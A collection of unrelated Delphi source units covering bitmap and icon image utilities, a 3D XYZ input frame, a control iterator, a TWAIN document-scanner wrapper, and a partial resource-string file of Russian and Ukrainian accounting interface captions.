MaskBitmap:= TBitmap.Create(); try Bitmap.pixelformat := pf24bit; SDUConvertIconToBitmap(image, Bitmap, MaskBitmap); // This is required... MaskBitmap.pixelformat := pf24bit; SDUImageRotate(Bitmap, rotate); SDUImageRotate(MaskBitmap, rotate); SDUSetMaskedOffToBlack(bitmap, maskbitmap); SDUConvertBitmapToIcon(Bitmap, MaskBitmap, image); finally MaskBitmap.Free(); Bitmap.Free(); end; end; // ---------------------------------------------------------------------------- procedure SDUImageGrayscale(image: TBitmap); var x: integer; y: integer; lum: integer; col: TColor; begin for x := 0 to (image.Width - 1) do begin for y := 0 to (image.Height - 1) do begin col := image.Canvas.Pixels[x, y]; // Average RGB values in TColour to get lum lum := ( ( ((col ) and $FF) + // Red ((col shr 8) and $FF) + // Green ((col shr 16) and $FF) // Blue ) div 3 // / 3 to get average ); // Convert average lum into gray TColor col := ( (lum ) + // Red (lum shl 8) + // Green (lum shl 16) // Blue ); image.Canvas.Pixels[x, y] := col; end; end; end; // ---------------------------------------------------------------------------- // Set all pixels in image which are masked off (i.e. not in the mask) to black // i.e. All white pixels in the mask will have their corresponding pixel in the // image set to black procedure SDUSetMaskedOffToBlack( Bitmap: TBitmap; MaskBitmap: TBitmap ); var x: integer; y: integer; begin for x:=0 to (MaskBitmap.width - 1) do begin for y:=0 to (MaskBitmap.height - 1) do begin if (MaskBitmap.Canvas.Pixels[x, y] = clWhite) then begin Bitmap.Canvas.Pixels[x, y] := clBlack; end; end; end; end; // ---------------------------------------------------------------------------- procedure SDUMakeIconGhosted(srcIcon: TIcon; destIcon: TIcon; normalIcon: boolean); var Bitmap: TBitmap; MaskBitmap: TBitmap; x: integer; y: integer; Red, Green, Blue: integer; multiplier: double; plus: integer; begin Bitmap:= TBitmap.Create(); MaskBitmap:= TBitmap.Create(); try if normalIcon then begin SDUConvertIconToBitmap( srcIcon, Bitmap, MaskBitmap ); end else begin SDUConvertIconToBitmap_16x16( srcIcon, Bitmap, MaskBitmap ); end; MaskBitmap.Pixelformat := pf1bit; MaskBitmap.Monochrome := TRUE; MaskBitmap.Canvas.Brush.Color := clWhite; multiplier := 0.5; plus := 128; for y:=0 to (Bitmap.Height - 1) do begin for x:=0 to (Bitmap.Width - 1) do begin SDUColorToRGB(Bitmap.Canvas.Pixels[x, y], Red, Green, Blue); Red := min($FF, trunc(Red * multiplier)); Green := min($FF, trunc(Green * multiplier)); Blue := min($FF, trunc(Blue * multiplier)); Red := min($FF, trunc(Red + plus)); Green := min($FF, trunc(Green + plus)); Blue := min($FF, trunc(Blue + plus)); if (MaskBitmap.Canvas.Pixels[x, y] = clBlack) then begin Bitmap.Canvas.Pixels[x, y] := SDURGBToColor(Red, Green, Blue); end else begin Bitmap.Canvas.Pixels[x, y] := clBlack; end; end; end; SDUConvertBitmapToIcon( Bitmap, MaskBitmap, destIcon ); finally Bitmap.Free(); MaskBitmap.Free(); end; end; // ---------------------------------------------------------------------------- procedure SDUColorToRGB(color: TColor; var Red, Green, Blue: integer); begin Red := ((color ) and $FF); Green := ((color shr 8) and $FF); Blue := ((color shr 16) and $FF); end; function SDURGBToColor(Red, Green, Blue: integer): TColor; begin Result := ( (Red ) + (Green shl 8) + (Blue shl 16) ); end; // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- END.
unit GLDXYZFrame; interface uses Classes, Controls, Forms, StdCtrls, ComCtrls, GL, GLDTypes, GLDUpDown; type TGLDXYZFrameMode = (GLD_MODE_SIMPLE_OUTPUT, GLD_MODE_SET_POSITION, GLD_MODE_SET_ROTATION); TGLDXYZFrame = class(TFrame) L_XPOS: TLabel; L_YPOS: TLabel; L_ZPOS: TLabel; E_XPOS: TEdit; E_YPOS: TEdit; E_ZPOS: TEdit; UD_X: TGLDUpDown; UD_Y: TGLDUpDown; UD_Z: TGLDUpDown; private FMode: TGLDXYZFrameMode; FOnValueChange: TNotifyEvent; procedure SetMode(Value: TGLDXYZFrameMode); function GetVector3f: TGLDVector3f; procedure SetVector3f(Value: TGLDVector3f); function GetRotation3D: TGLDRotation3D; procedure SetRotation3D(Value: TGLDRotation3D); procedure ValueChange(Sender: TObject); public constructor Create(AOwner: TComponent); override; property Vector3f: TGLDVector3f read GetVector3f write SetVector3f; property Rotation3D: TGLDRotation3D read GetRotation3D write SetRotation3D; published property Mode: TGLDXYZFrameMode read FMode write SetMode default GLD_MODE_SIMPLE_OUTPUT; property OnValueChange: TNotifyEvent read FOnValueChange write FOnValueChange; end; implementation {$R *.dfm} uses SysUtils, GLDMain, GLDConst, GLDX; constructor TGLDXYZFrame.Create(AOwner: TComponent); begin inherited Create(AOwner); SetMode(GLD_MODE_SIMPLE_OUTPUT); FOnValueChange := nil; end; procedure TGLDXYZFrame.ValueChange(Sender: TObject); begin if Assigned(FOnValueChange) then FOnValueChange(Sender); end; procedure TGLDXYZFrame.SetMode(Value: TGLDXYZFrameMode); begin FMode := Value; UD_X.Min := GLD_MIN_FLOAT; UD_X.Max := GLD_MAX_FLOAT; UD_Y.Min := GLD_MIN_FLOAT; UD_Y.Max := GLD_MAX_FLOAT; UD_Z.Min := GLD_MIN_FLOAT; UD_Z.Max := GLD_MAX_FLOAT; case FMode of GLD_MODE_SIMPLE_OUTPUT: begin E_XPos.Enabled := False; E_YPos.Enabled := False; E_ZPos.Enabled := False; UD_X.Visible := False; UD_X.OnChange := nil; UD_Y.Visible := False; UD_Y.OnChange := nil; UD_Z.Visible := False; UD_Z.OnChange := nil; end; GLD_MODE_SET_POSITION: begin E_XPos.Enabled := True; E_XPos.OnEnter := ValueChange; E_YPos.Enabled := True; E_YPos.OnEnter := ValueChange; E_ZPos.Enabled := True; E_ZPos.OnEnter := ValueChange; UD_X.Increment := 0.01; UD_X.Visible := True; UD_X.OnChange := ValueChange; UD_Y.Increment := 0.01; UD_Y.Visible := True; UD_Y.OnChange := ValueChange; UD_Z.Increment := 0.01; UD_Z.Visible := True; UD_Z.OnChange := ValueChange; end; GLD_MODE_SET_ROTATION: begin E_XPos.Enabled := True; E_XPos.OnEnter := ValueChange; E_YPos.Enabled := True; E_YPos.OnEnter := ValueChange; E_ZPos.Enabled := True; E_ZPos.OnEnter := ValueChange; UD_X.Increment := 1; UD_X.Visible := True; UD_X.OnChange := ValueChange; UD_Y.Increment := 1; UD_Y.Visible := True; UD_Y.OnChange := ValueChange; UD_Z.Increment := 1; UD_Z.Visible := True; UD_Z.OnChange := ValueChange; end; end; end; function TGLDXYZFrame.GetVector3f: TGLDVector3f; begin Result := GLDXVector3f(UD_X.Position, UD_Y.Position, UD_Z.Position); end; procedure TGLDXYZFrame.SetVector3f(Value: TGLDVector3f); begin E_XPos.Text := Format('%8.4f', [Value.XPos]); E_YPos.Text := Format('%8.4f', [Value.YPos]); E_ZPos.Text := Format('%8.4f', [Value.ZPos]); end; function TGLDXYZFrame.GetRotation3D: TGLDRotation3D; begin Result := GLDXRotation3D(UD_X.Position, UD_Y.Position, UD_Z.Position); end; procedure TGLDXYZFrame.SetRotation3D(Value: TGLDRotation3D); begin E_XPos.Text := Format('%5.1f', [Value.XAngle]); E_YPos.Text := Format('%5.1f', [Value.YAngle]); E_ZPos.Text := Format('%5.1f', [Value.ZAngle]); end; end.
unit ThComponentIterator; interface uses Classes, Controls; type TThIterator = class private FIndex: Integer; public function Eof: Boolean; virtual; abstract; function Next: Boolean; overload; virtual; procedure Reset; public property Index: Integer read FIndex write FIndex; end; // TThComponentIterator = class(TThIterator) private FContainer: TComponent; protected function GetComponent: TComponent; virtual; procedure SetContainer(const Value: TComponent); virtual; public constructor Create(inContainer: TComponent = nil); virtual; function Eof: Boolean; override; function Next(inClass: TClass): Boolean; overload; property Component: TComponent read GetComponent; property Container: TComponent read FContainer write SetContainer; end; // TThCtrlIterator = class(TThIterator) private FContainer: TWinControl; protected function GetCtrl: TControl; virtual; function GetCtrls(inIndex: Integer): TControl; virtual; procedure SetContainer(const Value: TWinControl); virtual; public constructor Create(inContainer: TWinControl = nil); function AlignHeight(inAligns: TAlignSet): Integer; function AlignMaxHeight(inAligns: TAlignSet): Integer; function AlignWidth(inAligns: TAlignSet): Integer; function CountAligns(inAligns: TAlignSet): Integer; function Eof: Boolean; override; function Next(inAligns: TAlignSet): Boolean; overload; function ListCtrls: TList; property Ctrl: TControl read GetCtrl; property Ctrls[inIndex: Integer]: TControl read GetCtrls; property Container: TWinControl read FContainer write SetContainer; end; // TThSortedCtrlIterator = class(TThCtrlIterator) private FCtrls: TList; FSortFunc: TListSortCompare; protected function GetCtrl: TControl; override; function GetCtrls(inIndex: Integer): TControl; override; procedure SetContainer(const Value: TWinControl); override; protected procedure ListCtrls; procedure SortCtrls; public constructor Create(inContainer: TWinControl = nil; inDirection: TAlign = alTop); destructor Destroy; override; function Controls: TList; function Eof: Boolean; override; function Next(inAligns: TAlignSet): Boolean; overload; end; implementation function ThTopCompareCtrls(Item1, Item2: Pointer): Integer; begin Result := TControl(Item1).Top - TControl(Item2).Top; if Result = 0 then Result := TControl(Item1).Left - TControl(Item2).Left; end; function ThLeftCompareCtrls(Item1, Item2: Pointer): Integer; begin Result := TControl(Item1).Left - TControl(Item2).Left; if Result = 0 then Result := TControl(Item1).Top - TControl(Item2).Top; end; function ThBottomCompareCtrls(Item1, Item2: Pointer): Integer; begin Result := ThTopCompareCtrls(Item2, Item1); end; function ThRightCompareCtrls(Item1, Item2: Pointer): Integer; begin Result := ThLeftCompareCtrls(Item2, Item1); end; { TThIterator } procedure TThIterator.Reset; begin Index := 0; end; function TThIterator.Next: Boolean; begin Result := not Eof; if Result then Inc(FIndex) else Reset; end; { TThComponentIterator } constructor TThComponentIterator.Create(inContainer: TComponent); begin Container := inContainer; end; function TThComponentIterator.Eof: Boolean; begin Result := (Index >= Container.ComponentCount); end; function TThComponentIterator.GetComponent: TComponent; begin Result := Container.Components[Index - 1]; end; function TThComponentIterator.Next(inClass: TClass): Boolean; begin Result := true; while Next do if Component is inClass then exit; Result := false; end; procedure TThComponentIterator.SetContainer(const Value: TComponent); begin FContainer := Value; end; { TThCtrlIterator } constructor TThCtrlIterator.Create(inContainer: TWinControl); begin Container := inContainer; end; function TThCtrlIterator.AlignHeight(inAligns: TAlignSet): Integer; begin Reset; Result := 0; while Next(inAligns) do Result := Result + Ctrl.Height; end; function TThCtrlIterator.AlignMaxHeight(inAligns: TAlignSet): Integer; begin Reset; Result := 0; while Next(inAligns) do if Ctrl.Height > Result then Result := Ctrl.Height; end; function TThCtrlIterator.AlignWidth(inAligns: TAlignSet): Integer; begin Reset; Result := 0; while Next(inAligns) do Result := Result + Ctrl.Width; end; function TThCtrlIterator.CountAligns(inAligns: TAlignSet): Integer; begin Reset; Result := 0; while Next(inAligns) do Inc(Result); end; function TThCtrlIterator.Eof: Boolean; begin Result := (Index >= Container.ControlCount); end; function TThCtrlIterator.GetCtrls(inIndex: Integer): TControl; begin Result := Container.Controls[inIndex - 1]; end; function TThCtrlIterator.GetCtrl: TControl; begin Result := Ctrls[Index]; end; function TThCtrlIterator.ListCtrls: TList; begin Reset; Result := TList.Create; while Next do Result.Add(Ctrl); end; function TThCtrlIterator.Next(inAligns: TAlignSet): Boolean; begin Result := true; while Next do if Ctrl.Align in inAligns then exit; Result := false; end; procedure TThCtrlIterator.SetContainer(const Value: TWinControl); begin FContainer := Value; end; { TThSortedCtrlIterator } constructor TThSortedCtrlIterator.Create(inContainer: TWinControl; inDirection: TAlign); begin FCtrls := TList.Create; case inDirection of alLeft: FSortFunc := ThLeftCompareCtrls; alRight: FSortFunc := ThRightCompareCtrls; alBottom: FSortFunc := ThBottomCompareCtrls; else FSortFunc := ThTopCompareCtrls; end; Container := inContainer; end; destructor TThSortedCtrlIterator.Destroy; begin FCtrls.Free; inherited; end; function TThSortedCtrlIterator.Eof: Boolean; begin Result := (Index >= FCtrls.Count); end; function TThSortedCtrlIterator.GetCtrl: TControl; begin Result := Ctrls[Index]; end; function TThSortedCtrlIterator.GetCtrls(inIndex: Integer): TControl; begin Result := TControl(FCtrls[inIndex - 1]); end; function TThSortedCtrlIterator.Next(inAligns: TAlignSet): Boolean; begin Result := true; while Next do if Ctrl.Align in inAligns then exit; Result := false; end; procedure TThSortedCtrlIterator.ListCtrls; var i: Integer; begin FCtrls.Clear; if Container <> nil then for i := 0 to Pred(Container.ControlCount) do if Container.Controls[i].Visible then FCtrls.Add(Container.Controls[i]); end; procedure TThSortedCtrlIterator.SortCtrls; begin FCtrls.Sort(FSortFunc); end; procedure TThSortedCtrlIterator.SetContainer(const Value: TWinControl); begin inherited; ListCtrls; SortCtrls; end; function TThSortedCtrlIterator.Controls: TList; begin Result := FCtrls; end; end.
unit uI2XScan; interface uses Windows, Messages, SysUtils, Classes, StrUtils, umcmIntE, TWAIN, uStrUtil, uFileDir, Graphics, uImage2XML, GR32, GR32_Image, GR32_Transforms, GR32_Filters, GR32_Resamplers, GR32_OrdinalMaps, Forms, Dialogs, Controls, Math, mcmTWAINKernel, mcmTWAINIntf, mcmTWAIN, mcmRegion, mcmImage, mcmImageFilter, mcmImageTransform, mcmImageFile, mcmImageColor, mcmImageTypeDef, mcmImageResStr ; type TImageFileCompleteEvent = procedure (Sender: TObject; ImageFileName : string) of object; TImageCompleteEvent = procedure (Sender: TObject; BitmapHandle : HBITMAP) of object; TI2XScan = class( TObject ) private FIsBusy : boolean; FTimeOutTimer : byte; twain: TmcmTWAIN; FOnStatusChange : TStatusChangeEvent; FOnImageFileComplete : TImageFileCompleteEvent; FOnImageComplete : TImageCompleteEvent; FOnError : TErrorRaisedEvent; FOnJobStart : TNotifyEvent; FOnJobComplete : TNotifyEvent; FImagesProcessed : integer; FImagesInPath : integer; FMaxImagesToProcess : integer; FPath : string; slSourceList : TStringList; FSourceDevice: string; oFileDir : CFileDir; procedure twainOnDeviceEvent(Sender : TObject; Event: TTwnDeviceEvent; DeviceName : string; A, B, C : Variant); procedure twainImageReady(Sender: TObject; pBmp: Pointer; pBmpInfo: PBitmapInfo; hImage: HBITMAP; FilePath: String); procedure twainFailure(Sender: TObject; DG: Integer; DAT, CAP, MSG: Word; Error, Status: Integer); procedure twainNegotiation(Sender: TObject; var CancelScan : boolean); procedure twainOnDeviceNotReady(Sender : TObject; DoOpenSouce : boolean); procedure twainXferNext(Sender: TObject; var NumImages: Integer; var SkipNext: Boolean); procedure ErrorRaised(functionName: string; e: TObject); procedure StatusChange(const msg: string ); procedure ImageFileComplete(const ImageFileName : string ); procedure ImageComplete(const BitmapHandle : HBITMAP ); procedure resolveDefaultSource(); procedure JobStart(); procedure JobComplete(); function PadL(const StringToPad: string; const Size: Integer): String; function getSourceList: TStringList; procedure setSourceDevice(const Value: string); public function SelectSource() : string; procedure Scan(const outputPath : string = ''; const ImagesToScan : integer = MAXINT); property ImagesProcessed : integer read FImagesProcessed write FImagesProcessed; property ImagesInPath : integer read FImagesInPath write FImagesInPath; property Path : string read FPath write FPath; property SourceList : TStringList read getSourceList; property SourceDevice : string read FSourceDevice write setSourceDevice; property OnError : TErrorRaisedEvent read FOnError write FOnError; property OnStatusChange: TStatusChangeEvent read FOnStatusChange write FOnStatusChange; property OnImageFileComplete : TImageFileCompleteEvent read FOnImageFileComplete write FOnImageFileComplete; property OnImageComplete : TImageCompleteEvent read FOnImageComplete write FOnImageComplete; property OnJobStart : TNotifyEvent read FOnJobStart write FOnJobStart; property OnJobComplete : TNotifyEvent read FOnJobComplete write FOnJobComplete; constructor Create( otwain : tMCMTwain ); destructor Destroy; override; end; implementation { TI2XScan } procedure TI2XScan.twainFailure(Sender: TObject; DG: Integer; DAT, CAP, MSG: Word; Error, Status: Integer); begin try raise Exception.Create('Scanner ' + FSourceDevice + ' has reported an error. ' + 'Error Code=' + IntToStr(Error) + ' Status Code=' + IntToStr(Error) + ' DG=' + IntToStr(DG) + ' DAT=' + IntToStr(DAT) + ' CAP=' + IntToStr(CAP) + ' MSG=' + IntToStr(MSG) ); except ErrorRaised( 'TI2XScan.twainFailure', ExceptObject ); end; end; function TI2XScan.PadL(const StringToPad: string; const Size: Integer): String; var nStPos : integer; sNew, sPadString : string; begin sPadString := '0'; nStPos := (Size - Length(StringToPad)) + 1; if nStPos < 2 then nStPos := 1; sNew := StringOfChar(sPadString[1], nStPos - 1); Result := sNew + StringToPad; end; procedure TI2XScan.twainImageReady(Sender: TObject; pBmp: Pointer; pBmpInfo: PBitmapInfo; hImage: HBITMAP; FilePath: String); var sFileName : string; image1 : TmcmImageCtrl; begin try if ( hImage = 0 ) then begin StatusChange('Handle from TWAIN Device = 0. All Images Acquired (Images acquired:' + IntToStr(FImagesProcessed) + ' in Path:' + IntToStr(FImagesInPath) + ')'); //raise Exception.Create('Image Handle returned fron TWAIN device is 0.' ) end else begin Inc( FImagesProcessed ); FIsBusy := true; if ( Assigned(FOnImageComplete)) then begin ImageComplete( hImage ); end; if ( Assigned(FOnImageFileComplete)) then begin try image1 := TmcmImageCtrl.Create( nil ); Inc( FImagesInPath ); StatusChange('Processing image ' + IntToStr(FImagesProcessed)); image1.Image.ReleaseHandle; image1.Image.DibHandle := hImage; if not DirectoryExists( FPath ) then CreateDir( FPath ); if ( FPath[Length( FPath )] <> '\' ) then FPath := FPath + '\'; sFileName := FPath + 'img_' + PadL(IntToStr(FImagesInPath), 3) + '.tif'; image1.Image.Compression := CP_PACKBITS; StatusChange('Saving TIF Image of image ' + IntToStr(FImagesProcessed) + ' (Images in path ' + IntToStr(FImagesInPath) + ')'); image1.Image.FileSave( sFileName ); ImageFileComplete( sFileName ); FIsBusy := false; StatusChange('Image ' + IntToStr( FImagesProcessed ) + ' has been scanned. '); finally FreeAndNil( image1 ); end; end; end; except ErrorRaised( 'TI2XScan.twainImageReady', ExceptObject ); end; end; procedure TI2XScan.twainNegotiation(Sender: TObject; var CancelScan : boolean); var CurrentPixelType : integer; begin { Negotiate PixelType capability. } if twain.IsCapSupported(ICAP_PIXELTYPE) then begin if (twain.PixelType <> TWPT_RGB) then twain.PixelType := TWPT_RGB; end; if twain.IsCapSupported( ICAP_BITDEPTH ) then begin if (twain.BitDepth <> 8) then twain.BitDepth := 8; end; if twain.IsCapSupported( ICAP_XRESOLUTION ) then begin if (twain.XResolution <> 300) then twain.XResolution := 300; end; if twain.IsCapSupported( ICAP_YRESOLUTION ) then begin if (twain.YResolution <> 300) then twain.YResolution := 300; end; if twain.PaperDetectable then if Not(twain.FeederLoaded) then CancelScan := True; //twain.Rotation := 0; end; procedure TI2XScan.ErrorRaised(functionName: string; e: TObject); Begin if ( Assigned(FOnError)) then begin FOnError( self, e, functionName ); end; End; procedure TI2XScan.StatusChange( const msg: string ); Begin if ( Assigned(FOnStatusChange)) then begin FOnStatusChange( self, msg ); end; uImage2XML.WriteLog( msg + #13); End; constructor TI2XScan.Create( otwain : tMCMTwain ); begin twain := otwain; twain.OnNegotiation := twainNegotiation; twain.OnImageReady := twainImageReady; twain.OnFailure := twainFailure; twain.OnXferNext := twainXferNext; twain.OnDeviceEvent := twainOnDeviceEvent; FImagesProcessed := 0; slSourceList := TStringList.Create; FSourceDevice := ''; oFileDir := CFileDir.Create(); end; destructor TI2XScan.Destroy; begin FreeAndNil( slSourceList ); FreeAndNil( oFileDir ); inherited; end; procedure TI2XScan.Scan(const outputPath : string; const ImagesToScan : integer ); var slFileList : TStringList; Begin try FMaxImagesToProcess := ImagesToScan; if ( Length( outputPath ) > 0 ) then FPath := outputPath; if ( FileExists( FPath ) ) then raise Exception.Create(FPath + ' is a file and not a directory.'); ForceDirectories( FPath ); //if ( not DirectoryExists( FPath ) ) then begin // if ( MessageDlg('Path "' + FPath + '" does not exist, would you like me to create it?', mtConfirmation , [mbYes, mbNo], 0 ) = mrYes ) then begin // ForceDirectories( FPath ); // end; //end; if ( not DirectoryExists( FPath ) ) then begin raise Exception.Create('Directory ' + FPath + ' does not exist. Scanning of images cancelled.'); end else begin if ( MessageDlg('Set the document in the scanner. Once the document has been set, click "Yes" or click "No" to cancel.' + #13#10 + 'Are you ready?',mtConfirmation, [mbYes, mbNo], 0 ) = mrYes ) then begin FImagesProcessed := 0; FImagesInPath := 0; self.JobStart(); try slFileList := oFileDir.GetFileList( FPath + '*.tif' ); FImagesInPath := slFileList.Count; finally FreeAndNil( slFileList ); end; if ( FImagesInPath = 0 ) then StatusChange('Beginning Document Scan to path ' + FPath ) else StatusChange('Beginning Document Scan. There are already ' + IntToStr(FImagesInPath) + ' image(s) in path ' + FPath ); FTimeOutTimer := 0; StatusChange('-Acquiring Image from Scanner...'); twain.ShowUI := true; twain.AutoScan( true ); twain.FeederEnabled( true ); if ( not twain.AutoFeed( true ) ) then begin StatusChange('-Auto Feed could not be set, auto feed will be disabled for this run.'); end; twain.ShowUI := false; twain.DisableAfterAcquire := true; twain.ShowIndicators := false; //resolveDefaultSource(); twain.Acquire( FSourceDevice ); FIsBusy := false; end else begin StatusChange('Acquiring Image canceled by user'); end end; except ErrorRaised( 'TI2XScan.scan', ExceptObject ); end; End; function TI2XScan.SelectSource: string; var s : string; begin Result := ''; twain.OpenSourceMgr; twain.SelectSource; if ( twain.GetDefaultSource( s ) = TWRC_SUCCESS ) then Result := s; twain.CloseSourceMgr; end; procedure TI2XScan.twainXferNext(Sender: TObject; var NumImages: Integer; var SkipNext: Boolean); Begin try if ( NumImages = 0 ) then begin StatusChange( 'Scanning has completed.' ); end else SkipNext := FImagesProcessed >= self.FMaxImagesToProcess; NumImages := 1; while (( NumImages <> 0 ) and ( not SkipNext ) and ( FIsBusy )) do begin if ( FTimeOutTimer >= 120 ) then NumImages := 0; raise Exception.Create('Timeout while waiting for program to finish processing image so scanner can retieve other messages'); sleep( 1000 ); Inc(FTimeOutTimer); end; if ( NumImages = 0 ) then self.JobComplete(); except ErrorRaised( 'TI2XScan.twainXferNext', ExceptObject ); end; End; function TI2XScan.getSourceList: TStringList; Begin try twain.GetSourceList( slSourceList ); result := slSourceList; except ErrorRaised( 'TI2XScan.getSourceList', ExceptObject ); end; End; procedure TI2XScan.ImageComplete(const BitmapHandle: HBITMAP); begin if ( Assigned( FOnImageComplete )) then begin FOnImageComplete( self, BitmapHandle ); end; end; procedure TI2XScan.ImageFileComplete(const ImageFileName: string); begin if ( Assigned( FOnImageFileComplete )) then begin FOnImageFileComplete( self, ImageFileName ); end; end; procedure TI2XScan.JobComplete; begin if ( Assigned( FOnJobComplete )) then begin FOnJobComplete( Self ); end; end; procedure TI2XScan.JobStart; begin if ( Assigned( FOnJobStart )) then begin FOnJobStart( Self ); end; end; procedure TI2XScan.resolveDefaultSource; var i : integer; Begin try getSourceList(); if ( Length( FSourceDevice ) <> 0 ) then begin for i := 0 to slSourceList.Count - 1 do begin if ( Pos( FSourceDevice, slSourceList[i] ) > 0 ) then begin FSourceDevice := slSourceList[i]; end; end; end; except ErrorRaised( 'TI2XScan.resolveDefaultSource', ExceptObject ); end; End; procedure TI2XScan.twainOnDeviceEvent(Sender: TObject; Event: TTwnDeviceEvent; DeviceName: string; A, B, C: Variant); Begin if ( Event = TWDE_CHECKAUTOMATICCAPTURE ) then StatusChange('OnDeviceEvent:TWDE_CHECKAUTOMATICCAPTURE A=' + A + ' B=' + B + ' C=' + C) else if ( Event = TWDE_CHECKBATTERY ) then StatusChange('OnDeviceEvent:TWDE_CHECKAUTOMATICCAPTURE A=' + A + ' B=' + B + ' C=' + C) else if ( Event = TWDE_CHECKFLASH ) then StatusChange('OnDeviceEvent:TWDE_CHECKFLASH A=' + A + ' B=' + B + ' C=' + C) else if ( Event = TWDE_CHECKPOWERSUPPLY ) then StatusChange('OnDeviceEvent:TWDE_CHECKPOWERSUPPLY A=' + A + ' B=' + B + ' C=' + C) else if ( Event = TWDE_CHECKRESOLUTION ) then StatusChange('OnDeviceEvent:TWDE_CHECKRESOLUTION A=' + A + ' B=' + B + ' C=' + C) else if ( Event = TWDE_DEVICEADDED ) then StatusChange('OnDeviceEvent:TWDE_DEVICEADDED A=' + A + ' B=' + B + ' C=' + C) else if ( Event = TWDE_DEVICEOFFLINE ) then StatusChange('OnDeviceEvent:TWDE_DEVICEOFFLINE A=' + A + ' B=' + B + ' C=' + C) else if ( Event = TWDE_DEVICEREADY ) then StatusChange('OnDeviceEvent:TWDE_DEVICEREADY A=' + A + ' B=' + B + ' C=' + C) else if ( Event = TWDE_DEVICEREMOVED ) then StatusChange('OnDeviceEvent:TWDE_DEVICEREMOVED A=' + A + ' B=' + B + ' C=' + C) else if ( Event = TWDE_IMAGECAPTURED ) then StatusChange('OnDeviceEvent:TWDE_IMAGECAPTURED A=' + A + ' B=' + B + ' C=' + C) else if ( Event = TWDE_IMAGEDELETED ) then StatusChange('OnDeviceEvent:TWDE_IMAGEDELETED A=' + A + ' B=' + B + ' C=' + C) else if ( Event = TWDE_PAPERDOUBLEFEED ) then StatusChange('OnDeviceEvent:TWDE_PAPERDOUBLEFEED A=' + A + ' B=' + B + ' C=' + C) else if ( Event = TWDE_PAPERJAM ) then StatusChange('OnDeviceEvent:TWDE_PAPERJAM A=' + A + ' B=' + B + ' C=' + C) else if ( Event = TWDE_LAMPFAILURE ) then StatusChange('OnDeviceEvent:TWDE_LAMPFAILURE A=' + A + ' B=' + B + ' C=' + C) else if ( Event = TWDE_POWERSAVE ) then StatusChange('OnDeviceEvent:TWDE_POWERSAVE A=' + A + ' B=' + B + ' C=' + C) else if ( Event = TWDE_POWERSAVENOTIFY ) then StatusChange('OnDeviceEvent:TWDE_POWERSAVENOTIFY A=' + A + ' B=' + B + ' C=' + C) ; End; procedure TI2XScan.twainOnDeviceNotReady(Sender: TObject; DoOpenSouce: boolean); Begin DoOpenSouce := false; StatusChange('Scanner ' + FSourceDevice + ' is not ready. Please verify that it is on and there are not pending jobs.' ); End; procedure TI2XScan.setSourceDevice(const Value: string); Begin FSourceDevice := Value; resolveDefaultSource(); End; END.
unit SpravkaUnitCaption; interface resourcestring { FILTER_PO_KOR_SCH = 'По корреспонденции балансовых счетов'; FILTER_PO_FIO = 'По ФИО'; FILTER_WITHUOT_FIO = 'Без ограничения на ФИО'; FILTER_PO_CUST = 'По контрагенту :'; FILTER_PO_R_S_CUST = 'По р/с контрагента из справочника'; FILTER_NAME_PO_VKLYUCH = 'По включению в название'; FILTER_WITHOUT_CUST = 'Без ограничения на контрагента'; MAIN_FORM_NOMER = 'Номер'; MAIN_FORM_DATE = 'Дата'; MAIN_FORM_FIO = 'ФИО'; MAIN_FORM_CUST = 'Контрагент'; MAIN_FORM_PO_PRIH = 'по приходу'; MAIN_FORM_PO_RASH = 'по расходу'; MAIN_FORM_DOC = 'Документ'; MAIN_FORM_SPRAVKA = 'Справка'; MAIN_FORM_SUMMA = 'Сумма'; MAIN_FORM_EXIT = 'Вы действительно желаете выйти?'; SHOW_FIND_DOC = 'Идет поиск документов!'; NAME_CUST = 'Название контрагента'; R_S = 'Р\с'; R_S_CUST = 'Р\с контрагента'; SUMMA_RAS = 'Сумма расхода'; SUMMA_PRIH = 'Сумма прихода'; WINDOW_CHANGE = 'Окно выбора документа, на который будет сдалана справка'; DOC_SPRAVKA_NA_DOC = 'Справка на кассовый документ'; DOC_ISP_DOC_D = 'Исправительная справка по дебету № '; DOC_ISP_DOC_K = 'Исправительная справка по кредиту № '; DOC_ZA = 'за'; DOC_AUTHOR_SP = 'Автор справки'; DOC_KOMENT_DOC = 'Комментарий к справке'; DOC_TAB_NUM = 'Таб. Номер'; DOC_DATA_SP = 'Данные о справке'; DOC_DATA_DOC = 'Данные о документе'; DOC_INFO_PROV = 'Информация по проводкам'; DOC_ERROR_DOC = 'Ошибки по документу'; DOC_ERROR_PROV = 'Ошибки по проводкам'; DOC_INFO_DOG = 'Информ. по договору'; DOC_SAVE_SP = 'Сохранить справку'; DOC_YEAR_SHORT = 'г.'; DOC_ISP_SP_PO_DOC = 'Испр. справка по документу № '; DOC_REG_SHOW = 'Режим просмотра справок'; DOC_STORNO_PROV = 'Это сторнирующая проводка. Её нельзя удалять!'; DOC_ISP_SP_SHORT = 'Испр. справка '; DOC_NOTE_DOC_SP = '. Основание: '; DOC_MESSAGA_EXISTS_SP_DOC = 'Существуют справки в последующих периодах. Номер последней справки - '; DOC_SCH_BLOCK = 'Счет по этому документу заблокирован!'; DOC_SCH_CLOSE = 'Счет по этому документу закрыт!'; DOC_REG_NUM = 'Рег.номер: '; DOC_N_DOG = ' № договора: '; DOC_DATE_DOG = ' дата договора: '; DOC_NAME_CUST = ' имя контрагента: '; DOC_TYPE_DOG = ' тип договора: '; DOC_FIO_PROJ = 'ФИО проживающего '; DOC_FIO_OBUCH = 'ФИО обучающегося ' DOC_REG_NUM = ' рег.н. - '; DOC_FROM = ' от - '; DOC_NAME_CUST_2 = ' Наимен. контрагента - '; DOC_NUMER_DOG = ' ( дог.№ '; } FILTER_PO_KOR_SCH = 'За кореспонденцією балансових рахунків'; FILTER_PO_FIO = 'За ПІБ'; FILTER_WITHUOT_FIO = 'Без обмеження на ПІБ'; FILTER_PO_CUST = 'За контрагентом :'; FILTER_PO_R_S_CUST = 'За р/р контрагента з довідника'; FILTER_NAME_PO_VKLYUCH = 'За включенням в назву'; FILTER_WITHOUT_CUST = 'Без обмеження на контрагента'; MAIN_FORM_NOMER = 'Номер'; MAIN_FORM_DATE = 'Дата'; MAIN_FORM_FIO = 'ПІБ'; MAIN_FORM_CUST = 'Контрагент'; MAIN_FORM_PO_PRIH = 'за прибутком'; MAIN_FORM_PO_RASH = 'за видатком'; MAIN_FORM_DOC = 'Документ'; MAIN_FORM_SPRAVKA = 'Довідка'; MAIN_FORM_SUMMA = 'Сума'; MAIN_FORM_EXIT = 'Ви дійсно бажаєте вийти?'; SHOW_FIND_DOC = 'Іде пошук документів!'; NAME_CUST = 'Назва контрагента'; R_S = 